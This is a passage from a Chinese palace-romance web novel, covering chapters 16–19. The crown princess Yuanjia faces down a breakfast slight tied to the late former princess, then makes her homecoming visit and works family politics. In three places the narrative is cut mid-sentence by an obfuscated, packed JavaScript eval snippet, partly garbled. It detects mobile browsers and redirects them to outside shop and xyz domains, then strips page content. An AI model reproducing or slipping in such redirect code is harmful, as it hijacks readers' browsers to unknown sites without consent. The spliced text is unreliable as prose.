元嘉却拧起了眉头,迟疑地开口:“妾身曾听过一句俗语,说‘三岁看八十,七岁定终身’,宜恕已不是三岁小儿了,又日日在徐奉仪身边受其熏染,已然存了畏怯。便是不与外人作比,只看宜妤,也是能觉出几分歧异的。若再等上两年,怕就要定性了……” 大抵是家中也有弟妹的原因,元嘉对这个自己名义上的孩子,不免多了几分怜爱,说出的话也是自己的真心实意。 燕景祁闻言微怔,显然没有想到这一层,或者说,似乎看起来没有想到这一层。 “殿下何不从宫里请几位善教习的女官回来,”元嘉试着建议,“让她们白日里带着两个女孩儿学些简单易懂的东西,就当是启蒙了……如此,也不算让奉仪与孩子分开,却也可让宜恕有些自己的小天地,接触些不一样的,感受些不一样的,人或许也就不一样了。” 燕景祁看向元嘉的眼里多了几分深意,蓦地勾起一抹淡笑,“你,甚好。” 元嘉心下一松,看出男人并未因这番话升起任何不悦,当下回以一笑,“妾身也只是希望两个孩子都好罢了。” “总之是辛苦你了,”燕景祁将元嘉从座上拉起,“今日也奔波了许久,你当是极累了。孤陪你去内室坐会,也去瞧瞧你的住处,一会儿用完晚膳,也好早些安置。” 元嘉答了句“好”,只顺着燕景祁的力道起身,两人一并往堂后走去。 16. 食与让 寅时将至,外头的打更声还未响起,太子府内已是灯火通明。 今日是新婚第三日,依例该是元嘉归宁的日子。燕景祁早早起身,避过了进来的徐妈妈、盼春等人,由着申时安、兰华几个用惯了的人伺候着,去侧间换了衣服。不多时,元嘉也已梳洗完毕,新换了一套红衣。 大周素有旧俗,凡女子婚嫁,礼成后的一个月内都要穿红,以求福佑。只是传至今日,这一旧俗也渐有改变。如今除新婚之日、第二日奉茶和这第三日归宁外,已不用刻意穿红,佩红即可。 桌上已摆好了早膳,热气腾腾的,不时散出食物的香气。 元嘉朝桌上匀了丝目光,又无甚感趣地收了回来。倒不是故意嫌弃,只是桌上摆的,都是诸如金乳酥、银丝卷一类的糕点,除此之外,也不过多煨了一盅莲子百合糯米粥,其余的再没有了。 她实在是提不起胃口。 摆膳的宫女没有离开,而是各自提着食盒,退至柱旁一排而立,恭谨不语。 元嘉随着燕景祁坐下,自有身边人上前布菜。盼春伺候元嘉最久,这会儿却看着桌上的盘碟犯了难。燕景祁已开始动筷,她便不能再一直僵着,只好随意替元嘉选了几样。虽是为了饱腹,可元嘉晨起胃口自来不佳,饶是盼春已挑了又挑,却还是只勉强了几口便停了筷子。 燕景祁舀了一勺粥,还未送至嘴边,余光瞥见元嘉搁筷的动作,忍不住皱眉道:“怎么就吃这么点,可是脾胃不适,又或是哪里有不舒服?” 元嘉笑着摇了摇头:“身体无事,不过是因为妾身自己的原因罢了……我,自来是少食甜腻的。” 燕景祁这才注意到,桌上摆的,竟全是偏甜口味的吃食。 当下,也搁了碗。 申时安观察着两人神色,又将视线从桌面扫过,语气颇有些奇怪:“这姚司馔可是尚食局的老人了,又在太子府伺候多年,按说不该如此阿……” 元嘉盯着手边的银箸没有吱声,反倒是兰华低声建议了一句:“还有些时间,奴婢让姚司馔另做些其他吃食罢?” 燕景祁的嘴角向下抿成一条不甚愉悦的弧线,又朝摆膳宫女站立的地方抬了抬眼皮,立时便有人受不住般跌倒在地,嘴里呜咽喃喃:“奴婢们、奴婢们也只是取了太子妃惯爱的吃食呀!” 此话一出,长春馆里外顿时鸦雀无声。 太子妃惯爱的? 哪位太子妃? 徐妈妈站在人群的稍远处,她本是出去替元嘉查检备送给季家的礼品的,这会儿听着厅内闹出的一堆动静,忍不住皱起了眉,又悄无声息地朝另处走去。 “放肆!两位殿下面前,也是你可以随意开口的!还不滚出去领罚!” 兰华眼见元嘉偏头望去,暗道句不好,先一步叱骂起来。 好好的归宁吉日,却偏偏在新妇面前提起旧人,可不是在触霉头么! 那人陡然回神,似是才反应过来自己脱口而出的是什么,连忙伏身拜倒,叩头请罪。 “抬头回话,”燕景祁摩挲着食指上戴的戒指,语气平淡,“若答的好,就免了你的罚。” 那宫女小心翼翼地直起身子,颤着声音回了句“是”。 “你刚才说的什么?此刻再说一遍。” “奴、奴婢方才说,”那宫女有些不安地看了眼元嘉,咬牙道,“只是取了太子妃惯爱的吃食……” “为什么会这么说?” 燕景祁继续道。 元嘉也偏过头,一双平静无波的眸子只盯着厅下跪着的人不放。 兰华暗叹了口气,又见申时安在一旁挤眉弄眼地朝自己示意,心知这是拦不下来了,只好无奈退后。 “奴婢是膳房底下的宫女,负责给太子妃院提送吃食。因日日往菡萏馆送吃的,无意间发现薛太子妃嗜甜。” 那宫女垂着脑袋,一句不停,“姚司馔习惯了薛太子妃的口味,膳房的人也习惯了往太子妃院送各式甜食。今日乍闻太子妃院传膳,忘了……这才一时不察,遵了从前的惯例。奴婢也是脱口而出那句话后才反应过来,请殿下恕罪!” 燕景祁摩挲戒指的动作不停,只将视线从宫女的身上移至桌上那满碟的吃食。沉默了片刻,终是什么也没说,挥手让人下去了。 “……殿下,”申时安与兰华对视两眼,还是试探着问了一句,“那是否还要让姚司馔再备些吃食送过来呢?” 燕景祁摇头,又示意兰华从煨着的盅内盛出两碗粥,“罢了,今日已为这事浪费了不少时间,再不快些,怕是连归宁吉时都要错过了。着人告诉姚司馔,让她不要再犯了。” 元嘉接过兰华递来的瓷碗,拈着勺子搅了几下,又无趣地松开勺柄,“妾实在是没胃口,这东西吃不下去,硬要勉强也只会作呕,还是算了……殿下自己吃就好。” 这话不是冲动之言,而是元嘉在方寸之间权衡利弊后的决定。薛神妃是何喜好与她无关,她只是不能由着人用这三个字逼迫自己退让。 一步让,步步让。 若不借着今日这事发作一场,她此生便再无越过薛神妃的可能,所以她绝不能让。 燕景祁搁下碗,“空腹伤身,今日先将就用些,之后让膳房都按着你的口味来。” 元嘉将瓷碗推得更远,“实在是妾的脾胃弱,医士千叮万嘱,让妾不要吃这些甜腻的东西,妾不敢不遵医嘱。左右今日归宁,妾回家里再吃些别的就好,也不会耽误谁的吉时。” 这是明晃晃地对燕景祁于此事上的态度表示不满了。 一众人在底下听得心惊胆战,元嘉却尤嫌不够般继续道:“也不知道姚司馔要多久才能习惯妾的口味,妾又是个没有耐心的……不若趁今日家去,再领两个厨子回来,一劳永逸,也省得妾还要去等谁、将就谁。殿下说,妾的话有没有道理?” 元嘉甚至笑出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14558223|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了声,撑着脑袋,丝毫不惧地等着燕景祁答复。 申时安站在燕景祁身后,瞧不见自家主子是何表情,他却早已屏气凝神,连大气都不敢出一口。 先太子妃逝世一年有余,府里一切却仍用着她在时的旧制。原以为这位季太子妃脸生的清丽,便连性子也是温婉的。新妇进门,顾及着太子对旧人的情谊,少不得要忍上一忍,却忘了她也是武家出身,哪里由得了旁人给她不快,竟是当场就发作了出来。 成婚不过三日,便逼得新嫁妇要去向娘家要人,这事放在哪里都是笑话,更别提发生在皇室了。 燕景祁当也是想到了,他轻声说了句“胡闹”,又道:“几个做饭的厨子罢了,哪用得着你这么麻烦,还要去季家要人,也不怕让自己家的人饿肚子。” 元嘉唇角的幅度稍大了些,佯作苦恼状,“可妾实在蠢笨,再想不到其他的好法子了……殿下帮妾身拿个主意罢。” 燕景祁似笑非笑地看了人一眼,转而朝申时安道:“那姚氏既做不好分内的事,便不必留用太子府了,司馔也不用再做了,直接发还尚食局……你再让杨尚食好生拣选,多调几个人来也不打紧,务必紧着太子妃的喜好。” 申时安连忙称是,少不得对元嘉多了几分敬重。 目的既已达到,元嘉便也利落顺着燕景祁的话骑驴下坡,只作无事发生。徐妈妈领着敛秋掀帘而入,后者的手上还提了个个头稍小的食盒。 徐妈妈朝两人一屈膝,又指挥着敛秋将食盒放下,“怕您吃不下东西,奴婢让敛秋做了碗素面,您将就着用些,莫要饿伤了脾胃。” 盼春帮着将汤面放好,又重新取了副银箸递与元嘉。元嘉低着脑袋浅尝了两口,只觉肚腹微暖,脸色也好了不少。 燕景祁的注意力却在那碗面上。与摆在桌上的其他吃食相比,这碗汤面就显得过于朴素了。除开零星几点葱花,便再无旁的点缀,连油星子也瞧不见半分。 “……也太过简陋了。” 燕景祁语气沉沉。 这一次,不必元嘉开口,徐妈妈便极其自然地接过了话头:“想是膳房的人忙着准备这桌吃食,奴婢们进去时东西摆放的凌乱了些,虽剩了些叶菜、瓜果,和一些未用尽的粉,但都算不得新鲜了。奴婢们唯恐误了时辰,便就将就有的东西为女君做了碗素面,总好过空着肚子,又把好不容易养好的脾胃给饿坏了……” 说着,又不着痕迹地朝元嘉点了点头,后者立时心领神会,跟着道:“这样便很好了,既能填些肚子,也不耽搁出门……味道也是妾身自来习惯的。” 燕景祁蹙眉不语,握着勺柄的手却在无意识地搅动着碗底剩余的粥。元嘉垂目笑了笑,又继续动起筷来。敛秋在份量上拿捏得极准,一碗面吃到底,肚内也有了个六、七分饱,恰到好处。 饭间虽耽搁了会工夫,可等到坐上马车出门时,天光也只近微亮,并未过了时辰。 17. 归宁日 与穿红一样,夫婿陪新嫁妇归宁亦是大周承袭多年的旧俗,但因燕景祁在此之上又多了重太子的身份,以至季家众人不敢有丝毫的松懈,对外亦诸事慎重。 元嘉下车时,季府大门早已洞开,季连领着人站在门外空地,不知道等了多久……她甚至还瞧见了两位叔父的身影。 二房与她们家关系自来亲密,今日出现在这场合倒也不足为奇,可怎么连自来避而远之的三房也到了…… 元嘉心底生疑,面上却不动声色。 季连夫妇等在最前,垂目作恭敬态,不好多言,季元泓与顾静则却仗着有人挡着,笑着朝元嘉眨了眨眼,元嘉亦弯了眉眼,恍惚间竟觉回到了未出阁的时候。彼时年纪尚幼,爱与人玩闹,偶尔抬头寻人时,他们便也如现在这般笑着看向自己,满满都是喜爱。 “太子殿下康安!太子妃殿下康安!” 齐整的行礼与问安,将元嘉从过往的回忆中拉扯了回来。她下意识迈前一步,想要扶起距离自己最近的父母,却又马上反应过来,从她嫁给燕景祁的那一刻起,便不再是可以承欢膝下的女儿了。 从此,君臣有别。 元嘉仓皇地顿住脚步,抿着嘴站在燕景祁身侧,看着再熟悉不过的亲人向自己行礼问安。 “都是自家人,不必讲究这些虚礼。” 燕景祁虚抬了下手,语气倒是松快。 “……礼不可废,臣的女儿虽有幸得嫁殿下,但我等依旧是大周的臣子,哪里能因为女儿的关系就忘记做臣子的本分呢?”季连起身回话,又引着人往里走去,“殿下,这边请。” 燕景祁微微颔首,又朝元嘉看了眼,“你不必陪着孤,自去与家里人说话。虽只分开了三两日,想来她们也还是惦念的紧。” 元嘉心中不免感激。她本该与燕景祁行走一处的,来时还遗憾没有与季母私下说话的机会,如今得燕景祁允准,便也毫不推辞地应下了。 季连的视线在元嘉身上打了个转,似乎也舍不得人,想要多看自家女儿几眼,却是须臾间又移开,只道:“那便烦请夫人照顾好太子妃了。” 语罢,脚下调转了方向,便将燕景祁往正厅的方向引,一群人浩浩荡荡远去,元嘉则由季母陪着回了幽篁院。 “在太子府里一切可惯?吃的可香?睡的可好?诸事都无恙罢?” 没了燕景祁在侧,季母说起话来也自在许多,更唯恐元嘉过得不好般,前脚将将坐下,后脚便忍不住细细打量起人来,又发出一连串的询问。 自接下赐婚诏书那日起,她便无一日好眠,总担心元嘉会在太子府里处境艰难,更怕太子难忘旧人而轻慢女儿……这样的担心,在元嘉出嫁之日达到了顶点。不过两三日的工夫,于她竟似过了大半辈子,如今见元嘉气色尚可,竟不觉长舒了一口气。 “太子方才特意叫咱们陪着嘉儿说话,想来是看重嘉儿的……一切应是顺当?” 顾静则瞧着是在宽慰季母,眼睛却也是盯着元嘉不放,带着连自己也没有发觉的小心翼翼,似乎也想得前者一个准话。 “好,一切都好……真的,太子待我挺好的。” 元嘉笑着回答,见两人面上仍带着明显的忧色,少不得又强调了一次,只是屋内的气氛到底变得沉重起来。元嘉敛目思忖几瞬,干脆转了话题,只问道:“我还以为今日就咱们自家人呢,怎么连两位叔父也到了?” 闻言,季母的脸色微变,好一阵才道:“知道你做了皇太子妃,从前总围着老太爷转的那些人便挤到了咱们跟前。其他人倒也罢了,当寻常亲戚走动也无不可,偏老宅那位夫人和三房家的也凑了上来,半点瞧不出从前与咱们有龃龉的样子……” 比起季母的欲言又止,元嘉倒显得镇定许多——这本就是她一早想到会发生的事情,又被她反拿来劝慰了顾静则一番,如今再从季母口中听说,便也没那么讶异了。 “连老太爷也着人来问过好几次,”季母的语气听着颇为无奈,“又知道你今日归宁,话里话外都是让三房一家子全过来,说什么太子殿下身份贵重,只咱们一家迎接,未免显得不够重视……你父亲还为此生了好几场的气。” 这倒是元嘉不曾想过的,听了先是失笑,“这有什么好气的?上京城里谁不知道咱们两家疏远,便是不让他们来又何妨。阿爹也一贯是不理会他们的,今次怎么允了,还拉了二叔父过来?” 而后反应过来,瞪大了眼睛,又惊又怒地看向顾静则,“那些老辈是怎么回事,到如今还能这样由着他们的心意来?” “……他们都在等着公爹的态度呢,”顾静则浅浅摇头,“三房最开始是想把一家子都带过来的,老太爷也还在观望,由着人闹。最后还是公爹发了话,只让三叔父来,否则就都别来了,又请了二叔父一起,这事才算了结……否则今日在场的,便还有三叔母和两位妹妹了。” “无耻!” 元嘉啐了一声,忍不住道:“阿爹在想什么,从前就是互不来往的,如今又何必松口,反闹得咱们自家人不高兴了……左右都有人说咱们家不孝不悌,坐实了又如何!” “他被御史和那群酸儒们戳了这么多年脊梁骨,何曾真的记在心上了,后来也不过是耳朵生茧,才勉为其难多分了一丝关注过去。” 季母看着华冠丽服的女儿,“可是元娘,这些指责不能落在你的身上……且不论这世道对女子的苛求,有先太子妃这个贤妇在前,御史也好,儒士也罢,都只会对你要求愈严,只恨不得让你成为供奉在高堂上的那尊圣人像。家里人哪怕一时成不了你背后的助力,也绝不能成为他们攻讦你的长矛。” 季母说着说着,又生起季连的气来,“偏你爹是行伍出身,回来这么些年也没跟几个文官交上朋友,否则何至于此!” 到这时,元嘉才知道自己一开始想得有多浅薄,自以为能借太子妃的身份为家里摈除些麻烦,却实际还是让自家人操心起她的来日。 “若非女儿……否则,咱们家本可以与三叔父家断的干净的。” 元嘉一张脸绷得死紧,话里更是自责。 “你有什么错,分明就是——”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582678|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 季母愤愤收声,终是克制住了自己,将未尽的话咽回了肚子。 “阿姊!” 突然间,伴随着一声激动脆亮的呼喊,急促且凌乱的脚步声由远及近,有不止一人从院外奔了进来——正是她的一双弟妹,季元淳与季元懿。 两人不过六、七岁的年龄,虽为季母一胎所生,个性却颇为迥异。后出生的季元淳活泼好动,整日里扑地掀天,而早一刻出生的季元懿却是个被人多瞧了几眼都会害羞的腼腆性子。 季元懿捏着衣角停在季母身边,一双鹿似的眼睛却巴巴地盯着元嘉不放,季元淳则猛地扎进元嘉怀里,瓮声瓮气地开口:“阿姊,你怎么才回来,我都等你半天了!” 元嘉故意哎哟一声,拢手将人抱住,“淳弟,你是不是又重了?” “哪有,”季元淳不高兴地抬眼,“我分明想阿姊想的都瘦了!” “别听他胡诌,这小子天天能吃能喝的,今日还睡了个天大亮才起,”季母重又露出笑容,“都多大的人了,还不快从你阿姊身上下来,仔细弄皱了你阿姊的新衣。” 闻言,季元淳颇为不舍地起身,瘪着嘴左右张望了两眼,又迅速从角落搬了个杌凳过来,紧挨在元嘉的身边坐下。 元嘉无奈摇头,又将还在眼巴巴盯着自己不放的季元懿招到身边揽住,前者一下子笑开了颜,紧贴着元嘉坐下。手边垂落着元嘉覆身的披帛,季元懿有些好奇地伸手摩挲,道:“阿姊,好看。” 元嘉今日穿了件交领团花襦,下着大红曳地石榴长裙,外罩绛色半臂,肩缠透色披帛。乌压压的头发全部梳了上去,以角梳、花钗固定,又在鬓边斜斜插了一支垒丝嵌红蓝宝石凤鸟步摇,两耳同样以赤红玛瑙滴珠耳坠相配,俨然是按着“穿红”的旧俗来打扮的。 听得季元懿此话,元嘉忍不住弯了眉眼,偏又故意道:“阿懿怎么只夸衣裳,也夸夸阿姊呀!” “衣裳好看,阿姊更好看。” 季元懿认真道,旁边的季元淳也忙不迭地点头,倒把一旁围观的季母和顾静则惹得失笑。 “阿姊,我以后也会跟你一样吗?” 又过了会儿,季元懿带着纯粹的好奇,歪着头朝元嘉问道。 “……不,你会跟阿娘一样,也会跟阿嫂一样。” 元嘉沉默一瞬,仍是笑着答了季元懿的话。 “我不可以和阿姊一样吗?” 婚嫁二字对如今的季元懿来说还言之尚早,她也并不明白其中的意味,只是对元嘉的话表示不解。 “阿懿——” 顾静则刚想打断,却被元嘉的话止住了,“因为阿姊会跟阿娘和阿嫂一样呀,阿懿想跟我一样,不就是跟阿娘和阿嫂一样了么?” 季元懿被这话绕得有些晕乎,只呆呆一点头,“那我就跟阿娘和阿嫂一样!” 元嘉笑着嗯了一声,又朝季母与顾静则投去无事的一瞥,却再不提方才的旧话,只挑着无关紧要的琐事问上一二,一直到午膳时分,正厅遣人来请,这才止了话头,又一起往正厅而去。 18. 面和睦 正安堂内。 众人皆已分席坐好,与元嘉在家时习惯的共桌而食不同,今次因多了燕景祁和许多外家人,季母特意撤去了大桌,改为了一食一案。元嘉与燕景祁坐于上首,余下诸人则左右作陪。 虽说是家宴,男女亦不分席,可大多时候还是以燕景祁问话、季连作答为主,其他人不过偶有接腔,场面更谈不上热闹。好在季元淳与季元懿年纪尚幼,不必陪着他们在这里枯坐听声,也算是件好事。 元嘉放下酒盏,又挟了块鱼肉放进口中咀嚼,百无聊赖地想着。 “……说起来,元泓是光熹二十三年行的科举,之后留在上京做了学官?” 不知何时,场上的话题已转到季元泓身上。 “是,”季元泓放下筷箸,沉声道,“臣有幸,当年遇国子四门博士一职空缺,便补了上去。” “如今也还在太学教管学生吗?” “年前入了吏部,如今在吕尚书身边做小吏,跟着尚书大人一起修撰《律疏》。” 燕景祁闻言一笑,“吕长青最是严谨,能叫你跟在他身边做事,想来是颇看重你。” “尚书大人学识渊博,臣跟在尚书大人身边,也受益良多。” 季元泓答道。 “今次《律疏》交由吏部和刑部共同修撰,吕长青素来和冯家正合不来,你跟在长青身边,怕是会受累不少。” 燕景祁笑意大了些。 “冯尚书只是性子躁了些,而吕尚书又惯是嘴上不饶人的,”季元泓似乎想起些什么,面上微微露出一抹笑痕,“但他们二人既是同乡又同期为官,臣想,外面的传言过虚。” “哈哈哈!”燕景祁大笑出声,“怪不得吕长青要带着你了,好好干……你这哥哥,来日也是个不缺前途的。” 后半句话却是对元嘉说的。 季元泓仍是沉稳,并没有因燕景祁的一句话而喜形于色,敛目拱手道:“谢殿下夸赞,臣定不负所望。” 季连旁侧静观,对长子满意的同时,暗地里也终于松了口气,开始有闲心捋起自己的胡子来。 “元泓年轻有为,真是叫人称羡哪。” 季迥,便是元嘉的三叔父,此刻瞧着眼前堪称刺眼的一幕,忍不住挖苦道:“只是元泓为长子,如今却入了吏部,做了文官,大哥这大将军的名号怕是要无人承继了。” “泓儿自小喜好书卷事,如今走科举做了文官,也是意想之中。” 季连停了捋胡子的手,语气淡淡,“至于什么将军不将军的,便不牢三弟费心了,国朝但有所需,我季家上下,皆可提刀跨马,上阵杀敌!” 元嘉停了挟菜的动作,余光从燕景祁身上一扫而过,忽而道:“三叔父何必担忧,虽然咱们家大哥做了文官,可、还有一个元淳呢。” 众人的目光顿时聚于元嘉脸上,前者则露出一抹恰到好处的讶异,故意道:“淳弟年纪虽小,可喜爱兵器的紧……爹爹忘了么,当年抓周的时候,淳弟便抱着玉做的小刀不撒手,如今更是日日缠着练武师傅呢!” 季连微愣,虽不知元嘉为何在这当头提起季元淳,却还是接着自家女儿的话继续道:“这孩子,五六岁的年纪,身子骨都还没长全,便想要扛着臣那几十斤重的缨枪了……如今臣每日压着他做些基础的训练,别的时间一没看住人,便不知道往哪处去撒野了!” “确是个活泼性子……” 燕景祁沉吟一声,“如此,季将军可想过把元淳送进宫去?” “……送进宫?” “五郎如今也到了上学的年纪,正缺个年纪相仿的伴读。孤瞧着,元淳便很合适。” “这、多谢殿下记挂。” 季连却有些迟疑,“只是元淳性子顽劣,怕进宫扰了五皇子的安宁。” “正是要元淳这样的性子,”燕景祁不以为意,“五郎生的最幼,又是父皇和母后期盼许久才得来的小儿子,宫里头个个都把他娇惯得不成样子,连孤也习惯了。若是寻常伴读,怕是要被他骑上天去,元淳正好,能克一克他……季将军放心,孤定不叫元淳受委屈,只当是进宫交个玩伴。” 这便是已经决定好了。 元嘉利落截过话头,“那妾便替元淳先谢过殿下了……说来赏菊宴时,殿下便说过五皇子若是能与元淳相识,定能引为至交的话,如今看来,莫不是殿下那时便在打我家元淳的主意了!” 燕景祁这会也记起来了,“是了,母后当日还说过想见元淳一面,只可惜那之后一直不得空闲……这样,下月初一,孤命人来接元淳进宫。” 元嘉嘴角隐隐显出一抹弧度,又垂目遮去眼底的许多思忖,只继续道:“殿下替五皇子寻了元淳做玩伴,倒叫家里的女孩儿孤单单剩一个了……元懿可打出生起就没和这个弟弟分开过呢!” 元嘉这话有些让人摸不着头脑,但显然是还想再向燕景祁谋求些什么——这便与前者主动提及的情况不一样了。 季母暗暗示意元嘉止言,季元泓也开口道:“元淳有幸为皇子伴读,已是天家恩典,家中的女孩便不劳殿下费心了。” “殿下不记得了?赏菊宴那日,皇后殿下赐了元淳雕弓与木剑,您便将六博棋赐给了元懿呢。” 元嘉不为所动,继续道。 “倒是孤未想到这一层……” 燕景祁顺着元嘉的话沉思片刻,“宫里头如今也没有适龄的公主,女孩儿进宫又不比男孩儿方便……不若如此,康乐长公主为女儿在家中办了女学,请了江陵的沈盼月和淮阳的史敏飞坐馆授业,前段时间还从宫里要了好几个尚仪局的女官过去。孤使人去长公主府说上一声,叫元懿去长公主府听学,如何?” 元嘉一听,立时笑着接口:“殿下思虑周全,妾一并替元懿谢过殿下了。” 她原就意指康乐长公主的女学。 长公主疼爱女儿,早两年便在筹备女学之事,又说项了整一年才请来沈盼月和史敏飞两位大家坐馆,更遑论其他有名气的授业师傅了。上京城里有女儿的人家莫不对此“虎视眈眈”,想尽办法要把女孩儿往长公主府里送。 偏季连武将出身,与文官来往较少,而康乐长公主又自来偏爱文人诗卷,对季连这样在文人儒士口中没落下什么好名声的,自是懒理。虽也可请靖安郡主从中说项,可到底不如燕景祁一句话来的有分量。 这也是元嘉从幽篁院出来后,一直在心底思索求解的事情——总不能永远这样憋屈下去。如今先借燕景祁的势与康乐长公主沾上关系,又有元淳在宫里伴读,他们早晚能和这群宗室皇亲们紧密联系。而康乐长公主交好的学士不少,徐徐图之,元嘉这个太子妃也好好的在位子上坐着,天长日久的,他们总能知道该向谁看齐。 想以她来掣肘季家,那必不能够! 而季迥,瞧着元嘉三言两语便为弟妹谋好了路,面上虽还稳着,眼中却难掩嫉恨。偏燕景祁就在上首坐着看着,往日的冷言讽语在此刻俱不敢吐露出口,季迥忍了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600216|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又忍,只能道:“太子妃还真是爱护弟妹哪……” “血脉相连,骨肉至亲,一家子彼此爱护,难道不是再正常不过的事情么……三叔父当也是如此罢?” 元嘉笑吟吟地反问。 季迥登时僵在原处,脸上青白交加,一张嘴开了又合,愣是说不出话来。 “坊间有传言,说季家内里多有龃龉,尤其以季将军与自家兄弟为甚……今日一看,倒是颇为和谐,太子妃关心弟妹,季将军席间也与两个弟弟言笑晏晏,远不似外界传言那般,想来是以讹传讹,使人误会了。” 燕景祁由左及右环视了一圈,忽而笑道。 竟是在顺着她的话说……这是在帮她?还是刻意提点什么? 元嘉心下奇怪,面上却摆出一副惊讶模样,“坊间竟有此传言,妾还是第一次听说。季家上下从来是一体同心的,又何曾有过不睦……两位叔父,你们说是不是呀?” 季巡,便是元嘉的二叔父,最先反应过来,立刻便拱手道:“正是呢,也不知道是谁传出的流言,好在咱们自家人心里都是清楚的……老三,你说呢?” 又将话头引向了季迥。 “是、是……” 燕景祁逼人的注视就在头顶上悬着,左右一众更是将全部的目光都投在季迥身上,前者哪里敢吐露半个不字,只连连点头。 元嘉拿起酒盏,掩面微饮一口,一并遮去快要隐藏不住的愉悦。 季母静观许久,见众人似有止意,这才笑道:“菜都快凉了,咱们呀,也别只顾着说话,白白浪费了一桌子的佳肴!” 元嘉这会也收敛了神色,亦含笑劝道:“府里李娘子的辣菜可是一绝,还请殿下趁热尝尝。” 燕景祁有意无意地瞥了元嘉一眼,好似无事发生般又动起筷子,席间重新恢复了此前的和谐。 …… “今日归宁,可还觉得舒心?” 回程的马车上,燕景祁眼皮半阖,忽而问道。 “有殿下相陪,妾身自然舒心。” 元嘉拿捏不准其中的深意,便只顺着燕景祁的话简单答道。 “……嗯,御下之术倒是不错,有点做太子妃的样子了。” 燕景祁指尖敲击着膝盖,不吝夸赞了一句,倒把元嘉惊出了身冷汗。 “殿下此话,倒叫妾身惶恐了。” 这话是褒是贬,元嘉听不分明,干脆以退为进。 “你这样不肯吃亏的个性,也是合适。”燕景祁轻笑一声,却就此打住,只道:“孤的休沐只到今日,往后于太子府内事上或有不能及之处,一应事宜便请你多费些心思……自然,万事也当以你这位太子妃的意愿为先。” 元嘉自是无有不应。 似乎有些不舒服,燕景祁换了个姿势,单手撑住下颌,总算抬眼看向元嘉,“方才见了家里人,心里可高兴?” 元嘉这一次没有再遮掩,点了点头,又缓慢吐出一声叹息,“就是觉得时间太短了,还有许多想说的、想问的,都还没来得及……” 元嘉咽下未尽的话,只微微露出三分憾意。 “那改日便再请来太子府说话,你平日若得空,也可常回去瞧瞧……左右孤少住在少阳宫,你来往也方便些。” 元嘉低低应了一声,抬头对上男人堪称平静的注视,嘴角缓缓勾起一抹弧度,“……谢过殿下。” 这是对她“合适”的奖励么…… 可既给了她,她便受的下。 19. 行事性 再回到太子府,天色已近日暮。 府里早算着时间备好了饭菜,掌厨的正是申时安今日新从尚食局带回的几个厨娘。只是元嘉二人在马车上颠簸了许久,一时半会也提不起什么胃口,草草吃了几筷子便停了下来。 “这两日落下了不少事情,孤须得回书房处理一二,怕是过来的晚,你收拾妥当了便早些休息。” 接过兰华递来的布巾,燕景祁随意擦拭了两下,又朝元嘉叮嘱道。 前者浅浅点头,道:“妾知道了。” 燕景祁嗯了一声,将布巾交与一旁侍立等候的小宫女,又阻了元嘉想要起身的动作,稍停了下便走了出去。后者则等到燕景祁的身影彻底消失在长春馆后,方才唤人进屋收拾。 “盼春,”元嘉起身朝里屋走去,“去叫人提水来,我要沐浴。” “是!” 盼春闻言,立刻出房门吩咐了两句,又回到元嘉身边,“女君,奴婢让念夏进来为您解发罢?” “今日原该她当值罢……晨起时见伺候太子的人乌压压地站了一院子,就把活推给你们,自己图松快躲在屋子里不出来,也不曾向徐妈妈告过假。这会儿就剩咱们自己了,却又不知道跑哪里偷懒去了。” “我虽不说,但并非心里无数……” 看着盼春一下子有些讪讪的表情,元嘉无奈叹了口气,道:“知道你们共事多年,虽非姐妹,却也无甚差别。可这里不比家里头,念夏的爹娘也没有跟过来,做不到再替她兜底。若被人捏住了错处,只怕顷刻间就要惹祸上身的……咱们也得事事谨慎才行。” “是,奴婢记住了。” 盼春拧着眉,郑重应下。 “她既嫌累,便不必叫她了,只让徐妈妈进来即可……对了,你让敛秋炖一碗鱼头豆腐汤,然后送去书房。今日桌上辣菜甚多,喝这个去去火气也好。” 盼春诶了一声,便带着元嘉的吩咐迅速从屋内消失。 不多时,徐妈妈领着宫女们走了进来。一面指挥着人提水进里屋,一面动作轻柔地取下元嘉头上的各式钗环,而后遣退众人,自己则服侍着元嘉入内沐浴。 “女君心里跟明镜似的,又何必挑着归宁的日子,又当着太子的面发作这一场,”徐妈妈力道适中地按压着元嘉的肩颈,“您与太子到底才新婚,府里上下的情况也还没摸透呢……” 元嘉随着身后的力道一点点放松下来,眉心隐约可见几分倦色,“妈妈也瞧见了,一个送膳的小宫女而已,竟也敢当着我的面提及那位先太子妃……能跟出来伺候的,必得在六局二十四司受过训教。妈妈该是清楚的,宫里的规矩容得了她们说这话么?” “若是宫人惦念先太子妃贤良淑德、慈悲悯下也就罢了,我只怕今日之事是有人故意为之,想借此来试探我的态度,那今后便有诸多事情要烦忧了。” “这事确实蹊跷,可您也太过冒险了。” 